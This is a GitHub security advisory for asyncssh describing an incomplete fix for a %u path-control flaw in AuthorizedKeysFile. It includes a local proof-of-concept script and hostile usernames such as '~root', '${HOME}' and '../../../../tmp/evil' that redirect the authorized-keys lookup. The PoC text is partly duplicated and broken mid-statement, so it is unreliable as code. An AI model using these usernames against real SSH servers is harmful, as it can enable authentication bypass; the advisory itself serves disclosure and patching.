GHSA-QR67-GV47-XWWH
Vulnerability from github – Published: 2026-08-26 15:32 – Updated: 2026-08-26 15:32Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h). The
2.23.0 guard that sanitises the SSH username before %u substitution
in AuthorizedKeysFile blocks /, \ and .., but does not block a
leading ~ (or ${ENV}), both of which are re-introduced by later
expansion and reach the file open — defeating the guard.
Affected: asyncssh 2.23.0 and current develop (commit a60f863,
HEAD on 2026-05-29).
## Summary
The fix for CVE-2026-45309 added a guard in
SSHServerConfig._set_tokens (asyncssh/config.py:715-716) that
rejects an SSH username containing /, \, or equal to .., before
it is substituted for the %u token in AuthorizedKeysFile:
if self._user == '..' or '/' in self._user or '\\' in self._user:
raise IllegalUserName('Unsafe username substitution')
However, the %u-substituted value is subsequently passed through
environment-variable expansion (_expand_val, config.py:145-149 —
token expansion then env expansion) and, at file-open time, through
expanduser() (read_authorized_keys → read_file →
open(Path(filename).expanduser()), auth_keys.py:348 →
misc.py:290). Both re-introduce the path control the guard was meant
to remove, so a username that contains no //\ can still cause the
server to read an authorized-keys file outside the intended per-user
directory.
The client-supplied username reaches this path pre-authentication:
_process_userauth_request takes the username from the
SSH_MSG_USERAUTH_REQUEST packet (connection.py:2516-2519) and
_finish_userauth calls reload_config() (connection.py:2536),
which re-evaluates AuthorizedKeysFile with username=self._username
(connection.py:5906) before the offered key is validated.
## Primary vector — leading ~
A username such as ~root or ~victim passes the guard (no /). For
a server whose AuthorizedKeysFile begins with %u — e.g.
AuthorizedKeysFile %u/.ssh/authorized_keys — the expanded value is
~victim/.ssh/authorized_keys, which expanduser() resolves to
/home/victim/.ssh/authorized_keys (~root → /root/...; a bare ~
→ the server process's home). The username has therefore escaped the
intended per-user location without using any path separator —
defeating the purpose of the guard.
Note: expanduser() only expands a leading ~, so this vector
requires %u to be the first path component of AuthorizedKeysFile.
(The CVE-2026-45309 authorized_keys/%u example — %u not leading —
is not reachable this way; that was the ../ form.)
## Impact and limitations
- Demonstrated (verified against source at a60f863): the guard is
bypassable and the authorized-keys lookup is redirected to an
attacker-named home tree, pre-auth, with a separator-free username.
- Impact model = identical to CVE-2026-45309: authenticating as the
redirected username when a readable authorized-keys file containing
the attacker's key is reachable at the redirected location. The parent
CVE accepted this exact precondition and was scored C:N/I:H/A:N;
this is scored consistently.
- Not built: a live multi-account SSH auth harness; the PoC verifies
the path-redirection mechanism in-process, deterministically. No new
primitive is claimed beyond the parent CVE's accepted model — only
that the 2.23.0 fix does not close it for ~/${ENV}.
- Preconditions (captured by AC:H): %u must be the leading path
component; on Python 3.13, Path('~nonexistentuser').expanduser()
raises RuntimeError, so only existing accounts are reachable
(confirmed: asyncssh 2.23.0, Python 3.13.12).
## Secondary vector — ${ENV} (defense-in-depth only)
A username like ${HOME} also passes the guard and is then
environment-expanded, re-introducing /. Weaker and not a practical
exploit: the attacker can only reference env vars that already exist
in the server process (a missing variable raises ConfigParseError)
and cannot control their values. Reported as hardening.
## Reproduction In-process, deterministic, no network. Against a checkout of asyncssh 2.23.0:
cd /path/to/asyncssh
PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py
Output (abridged):
[1] original CVE '../../../../tmp/evil' blocked: True (fix present)
literal-slash user '/etc' blocked: True
[A] tilde bypass user '~root':
guard blocks it? False (False == bypass)
expanded config value : ['~root/.ssh/authorized_keys']
after expanduser() : /root/.ssh/authorized_keys <-- read as authorized_keys
VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)
## Suggested fix
Tighten _set_tokens to also reject usernames that re-introduce path
control after expansion — reject a leading ~ / ~user and $/${
references in self._user. More robustly, validate that the FINAL
expanded AuthorizedKeysFile path remains within the intended base
directory, and/or suppress expanduser/environment expansion on the
%u-derived component specifically.
## Disclosure
Coordinated, ~90-day default. I will not publish details/PoC before a
fix is released, and am happy to validate the patch. Credit (if given)
to cesabici-bit.
## PoC source (see code block below)
#!/usr/bin/env python3
"""
PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path
control). Local-only, in-process, deterministic. No network.
CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in
SSHServerConfig._set_tokens that rejects a client username containing
'/', '\\', or equal to '..' before it is substituted for the %u token in
the server's AuthorizedKeysFile directive.
This PoC shows the blocklist is bypassable: the %u value is afterwards run
through (1) ${ENV} expansion and (2) ~ expanduser(), both of which
re-introduce the path control the guard was meant to remove.
CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() — it lets
a separator-free username (e.g. '~root') escape to another home tree when %u
is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can
only REFERENCE env vars that already exist on the server and cannot control
their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to
illustrate the expansion, and does NOT represent attacker capability. Treat (1)
as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.
Run from a checkout of asyncssh (cwd on sys.path), e.g.:
cd /tmp/targets/asyncssh && python3 <thisfile>
"""
import os
import sys
import tempfile
from pathlib import Path
import asyncssh
from asyncssh.config import SSHServerConfig
try:
from asyncssh.misc import IllegalUserName
except Exception: # pragma: no cover
IllegalUserName = asyncssh.IllegalUserName
def expand_authkeys(user, cfg_text):
"""Load a server config exactly as SSHServerConnection does and return the
expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the
CVE-2026-45309 guard fires."""
with tempfile.NamedTemporaryFile("w", suffix=".conf", delete=False) as f:
f.write(cfg_text)
cfg_path = f.name
try:
# mirror connection.py:8897
# SSHServerConfig.load(last_config, config, reload, canonical, final,
# accept_addr, accept_port, username,
# client_host, client_addr)
cfg = SSHServerConfig.load(
None, cfg_path, True, False, False,
"127.0.0.1", 22, user, "client.example", "203.0.113.7",
)
return cfg.get("AuthorizedKeysFile")
finally:
os.unlink(cfg_path)
def guard_blocks(user, cfg_text):
"""Return True if the CVE-2026-45309 guard rejects this username."""
try:
expand_authkeys(user, cfg_text)
return False
except IllegalUserName:
return True
def main():
print(f"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})")
print(f"# python {sys.version.split()[0]}\n")
results = []
# ---- Sanity 0: benign username expands normally -----------------------
cfg = "AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u"
val = expand_authkeys("alice", cfg)
print(f"[0] benign user 'alice': {val}")
results.append(("benign expands to per-user path",
val == ["/etc/ssh/authorized_keys.d/alice"]))
# ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------
blocked = guard_blocks("../../../../tmp/evil", cfg)
print(f"[1] original CVE '../../../../tmp/evil' blocked: {blocked}")
results.append(("original CVE traversal is blocked (fix present)", blocked))
# also: a literal slash is blocked (the guard's whole purpose)
slash_blocked = guard_blocks("/etc", cfg)
print(f" literal-slash user '/etc' blocked: {slash_blocked}")
results.append(("literal-slash username is blocked", slash_blocked))
print()
# ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------
cfg_a = "AuthorizedKeysFile %u/.ssh/authorized_keys"
blocked_a = guard_blocks("~root", cfg_a)
val_a = expand_authkeys("~root", cfg_a)
resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does
print(f"[A] tilde bypass user '~root':")
print(f" guard blocks it? {blocked_a} (False == bypass)")
print(f" expanded config value : {val_a}")
print(f" after expanduser() : {resolved_a} <-- read as authorized_keys")
results.append(("A: ~user NOT blocked by guard", not blocked_a))
results.append(("A: expanduser() redirects to another home tree",
resolved_a.startswith("/root/") or "~" not in resolved_a))
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
print()
# ---- BYPASS B: ${ENV} survives the guard, re-introduces '/' -----------
# The username contains no '/','\\' and is not '..', so the guard passes.
# Token expansion makes %u -> '${HOME}', then ENV expansion substitutes a
# server value that DOES contain '/', defeating the separator filter.
cfg_b = "AuthorizedKeysFile %u"
os.environ.setdefault("HOME", "/root")
blocked_b = guard_blocks("${HOME}", cfg_b)
val_b = expand_authkeys("${HOME}", cfg_b)
print(f"[B] env bypass user '${{HOME}}':")
print(f" guard blocks it? {blocked_b} (False == bypass)")
print(f" expanded config value : {val_b} (HOME={os.environ['HOME']})")
sep_injected = any("/" in p for p in val_b)
print(f" contains '/' after guard? {sep_injected} <-- separator filter bypassed")
results.append(("B: ${ENV} username NOT blocked by guard", not blocked_b))
results.append(("B: ${ENV} re-introduces '/' the guard rejected literally",
sep_injected))
# demonstrate arbitrary '/'-containing absolute path via a referenced var
os.environ["ASYNCSSH_POC_VAR"] = "/tmp/asyncssh_poc/INJECTED/authorized_keys"
val_b2 = expand_authkeys("${ASYNCSSH_POC_VAR}", cfg_b)
print(f" via referenced env var: {val_b2}")
results.append(("B: env value yields absolute '/'-path post-guard",
val_b2 == ["/tmp/asyncssh_poc/INJECTED/authorized_keys"]))
# ---- verdict ----------------------------------------------------------
print("\n==== RESULTS ====")
ok = True
for name, passed in results:
print(f" [{'PASS' if passed else 'FAIL'}] {name}")
ok = ok and passed
print("\nVERDICT:",
"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)"
if ok else "one or more checks did not hold")
return 0 if ok else 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.23.0"
},
"package": {
"ecosystem": "PyPI",
"name": "asyncssh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.23.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54590"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:32:00Z",
"nvd_published_at": "2026-07-08T21:16:49Z",
"severity": "MODERATE"
},
"details": "**Incomplete fix for CVE-2026-45309 (GHSA-g794-3fmp-753h).** The\n 2.23.0 guard that sanitises the SSH username before `%u` substitution\n in `AuthorizedKeysFile` blocks `/`, `\\` and `..`, but does not block a\n leading `~` (or `${ENV}`), both of which are re-introduced by later\n expansion and reach the file open \u2014 defeating the guard.\n\n **Affected:** asyncssh 2.23.0 and current `develop` (commit `a60f863`,\n HEAD on 2026-05-29).\n\n ## Summary\n The fix for CVE-2026-45309 added a guard in\n `SSHServerConfig._set_tokens` (`asyncssh/config.py:715-716`) that\n rejects an SSH username containing `/`, `\\`, or equal to `..`, before\n it is substituted for the `%u` token in `AuthorizedKeysFile`:\n\n if self._user == \u0027..\u0027 or \u0027/\u0027 in self._user or \u0027\\\\\u0027 in self._user:\n raise IllegalUserName(\u0027Unsafe username substitution\u0027)\n\n However, the `%u`-substituted value is subsequently passed through\n environment-variable expansion (`_expand_val`, `config.py:145-149` \u2014\n token expansion then env expansion) and, at file-open time, through\n `expanduser()` (`read_authorized_keys` \u2192 `read_file` \u2192\n `open(Path(filename).expanduser())`, `auth_keys.py:348` \u2192\n `misc.py:290`). Both re-introduce the path control the guard was meant\n to remove, so a username that contains no `/`/`\\` can still cause the\n server to read an authorized-keys file outside the intended per-user\n directory.\n\n The client-supplied username reaches this path pre-authentication:\n `_process_userauth_request` takes the username from the\n `SSH_MSG_USERAUTH_REQUEST` packet (`connection.py:2516-2519`) and\n `_finish_userauth` calls `reload_config()` (`connection.py:2536`),\n which re-evaluates `AuthorizedKeysFile` with `username=self._username`\n (`connection.py:5906`) before the offered key is validated.\n\n ## Primary vector \u2014 leading `~`\n A username such as `~root` or `~victim` passes the guard (no `/`). For\n a server whose `AuthorizedKeysFile` begins with `%u` \u2014 e.g.\n `AuthorizedKeysFile %u/.ssh/authorized_keys` \u2014 the expanded value is\n `~victim/.ssh/authorized_keys`, which `expanduser()` resolves to\n `/home/victim/.ssh/authorized_keys` (`~root` \u2192 `/root/...`; a bare `~`\n \u2192 the server process\u0027s home). The username has therefore escaped the\n intended per-user location without using any path separator \u2014\n defeating the purpose of the guard.\n\n Note: `expanduser()` only expands a leading `~`, so this vector\n requires `%u` to be the first path component of `AuthorizedKeysFile`.\n (The CVE-2026-45309 `authorized_keys/%u` example \u2014 `%u` not leading \u2014\n is not reachable this way; that was the `../` form.)\n\n ## Impact and limitations\n - Demonstrated (verified against source at `a60f863`): the guard is\n bypassable and the authorized-keys lookup is redirected to an\n attacker-named home tree, pre-auth, with a separator-free username.\n - Impact model = identical to CVE-2026-45309: authenticating as the\n redirected username when a readable authorized-keys file containing\n the attacker\u0027s key is reachable at the redirected location. The parent\n CVE accepted this exact precondition and was scored `C:N/I:H/A:N`;\n this is scored consistently.\n - Not built: a live multi-account SSH auth harness; the PoC verifies\n the path-redirection mechanism in-process, deterministically. No new\n primitive is claimed beyond the parent CVE\u0027s accepted model \u2014 only\n that the 2.23.0 fix does not close it for `~`/`${ENV}`.\n - Preconditions (captured by AC:H): `%u` must be the leading path\n component; on Python 3.13, `Path(\u0027~nonexistentuser\u0027).expanduser()`\n raises `RuntimeError`, so only existing accounts are reachable\n (confirmed: asyncssh 2.23.0, Python 3.13.12).\n\n ## Secondary vector \u2014 `${ENV}` (defense-in-depth only)\n A username like `${HOME}` also passes the guard and is then\n environment-expanded, re-introducing `/`. Weaker and not a practical\n exploit: the attacker can only reference env vars that already exist\n in the server process (a missing variable raises `ConfigParseError`)\n and cannot control their values. Reported as hardening.\n\n ## Reproduction\n In-process, deterministic, no network. Against a checkout of asyncssh\n 2.23.0:\n\n cd /path/to/asyncssh\n PYTHONPATH=/path/to/asyncssh python3 poc_authkeys_token_bypass.py\n\n Output (abridged):\n\n [1] original CVE \u0027../../../../tmp/evil\u0027 blocked: True (fix present)\n literal-slash user \u0027/etc\u0027 blocked: True\n [A] tilde bypass user \u0027~root\u0027:\n guard blocks it? False (False == bypass)\n expanded config value : [\u0027~root/.ssh/authorized_keys\u0027]\n after expanduser() : /root/.ssh/authorized_keys \u003c-- read as authorized_keys\n VERDICT: guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\n\n ## Suggested fix\n Tighten `_set_tokens` to also reject usernames that re-introduce path\n control after expansion \u2014 reject a leading `~` / `~user` and `$`/`${`\n references in `self._user`. More robustly, validate that the FINAL\n expanded `AuthorizedKeysFile` path remains within the intended base\n directory, and/or suppress `expanduser`/environment expansion on the\n `%u`-derived component specifically.\n\n ## Disclosure\n Coordinated, ~90-day default. I will not publish details/PoC before a\n fix is released, and am happy to validate the patch. Credit (if given)\n to `cesabici-bit`.\n\n ## PoC source\n (see code block below)\n\n```python\n #!/usr/bin/env python3\n \"\"\"\n PoC: incomplete fix for CVE-2026-45309 (AsyncSSH AuthorizedKeysFile %u path\n control). Local-only, in-process, deterministic. No network.\n\n CVE-2026-45309 (fixed in v2.23.0, commit 2af2382) added a blocklist in\n SSHServerConfig._set_tokens that rejects a client username containing\n \u0027/\u0027, \u0027\\\\\u0027, or equal to \u0027..\u0027 before it is substituted for the %u token in\n the server\u0027s AuthorizedKeysFile directive.\n\n This PoC shows the blocklist is bypassable: the %u value is afterwards run\n through (1) ${ENV} expansion and (2) ~ expanduser(), both of which\n re-introduce the path control the guard was meant to remove.\n\n CAVEAT (triage 2026-05-29): the PRIMARY vector is (2) ~ expanduser() \u2014 it lets\n a separator-free username (e.g. \u0027~root\u0027) escape to another home tree when %u\n is the LEADING path component. Vector (1) ${ENV} is WEAK: a real attacker can\n only REFERENCE env vars that already exist on the server and cannot control\n their VALUES; the ${ASYNCSSH_POC_VAR} demo below sets the var itself purely to\n illustrate the expansion, and does NOT represent attacker capability. Treat (1)\n as defense-in-depth, (2) as the load-bearing finding. See NOTES.md / REPORT.md.\n\n Run from a checkout of asyncssh (cwd on sys.path), e.g.:\n cd /tmp/targets/asyncssh \u0026\u0026 python3 \u003cthisfile\u003e\n \"\"\"\n\n import os\n import sys\n import tempfile\n from pathlib import Path\n\n import asyncssh\n from asyncssh.config import SSHServerConfig\n\n try:\n from asyncssh.misc import IllegalUserName\n except Exception: # pragma: no cover\n IllegalUserName = asyncssh.IllegalUserName\n\n\n def expand_authkeys(user, cfg_text):\n \"\"\"Load a server config exactly as SSHServerConnection does and return the\n expanded AuthorizedKeysFile value (a list). Raises IllegalUserName if the\n CVE-2026-45309 guard fires.\"\"\"\n with tempfile.NamedTemporaryFile(\"w\", suffix=\".conf\", delete=False) as f:\n f.write(cfg_text)\n cfg_path = f.name\n try:\n # mirror connection.py:8897\n # SSHServerConfig.load(last_config, config, reload, canonical, final,\n # accept_addr, accept_port, username,\n # client_host, client_addr)\n cfg = SSHServerConfig.load(\n None, cfg_path, True, False, False,\n \"127.0.0.1\", 22, user, \"client.example\", \"203.0.113.7\",\n )\n return cfg.get(\"AuthorizedKeysFile\")\n finally:\n os.unlink(cfg_path)\n\n\n def guard_blocks(user, cfg_text):\n \"\"\"Return True if the CVE-2026-45309 guard rejects this username.\"\"\"\n try:\n expand_authkeys(user, cfg_text)\n return False\n except IllegalUserName:\n return True\n\n\n def main():\n print(f\"# asyncssh {asyncssh.__version__} ({asyncssh.__file__})\")\n print(f\"# python {sys.version.split()[0]}\\n\")\n\n results = []\n\n # ---- Sanity 0: benign username expands normally -----------------------\n cfg = \"AuthorizedKeysFile /etc/ssh/authorized_keys.d/%u\"\n val = expand_authkeys(\"alice\", cfg)\n print(f\"[0] benign user \u0027alice\u0027: {val}\")\n results.append((\"benign expands to per-user path\",\n val == [\"/etc/ssh/authorized_keys.d/alice\"]))\n\n # ---- Sanity 1: original CVE-2026-45309 is blocked ---------------------\n blocked = guard_blocks(\"../../../../tmp/evil\", cfg)\n print(f\"[1] original CVE \u0027../../../../tmp/evil\u0027 blocked: {blocked}\")\n results.append((\"original CVE traversal is blocked (fix present)\", blocked))\n\n # also: a literal slash is blocked (the guard\u0027s whole purpose)\n slash_blocked = guard_blocks(\"/etc\", cfg)\n print(f\" literal-slash user \u0027/etc\u0027 blocked: {slash_blocked}\")\n results.append((\"literal-slash username is blocked\", slash_blocked))\n\n print()\n\n # ---- BYPASS A: ~ tilde survives the guard, reaches expanduser() -------\n cfg_a = \"AuthorizedKeysFile %u/.ssh/authorized_keys\"\n blocked_a = guard_blocks(\"~root\", cfg_a)\n val_a = expand_authkeys(\"~root\", cfg_a)\n resolved_a = str(Path(val_a[0]).expanduser()) # what read_file()/open_file() does\n print(f\"[A] tilde bypass user \u0027~root\u0027:\")\n print(f\" guard blocks it? {blocked_a} (False == bypass)\")\n print(f\" expanded config value : {val_a}\")\n print(f\" after expanduser() : {resolved_a} \u003c-- read as authorized_keys\")\n results.append((\"A: ~user NOT blocked by guard\", not blocked_a))\n results.append((\"A: expanduser() redirects to another home tree\",\n resolved_a.startswith(\"/root/\") or \"~\" not in resolved_a))\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-qr67-gv47-xwwh",
"modified": "2026-08-26T15:32:00Z",
"published": "2026-08-26T15:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.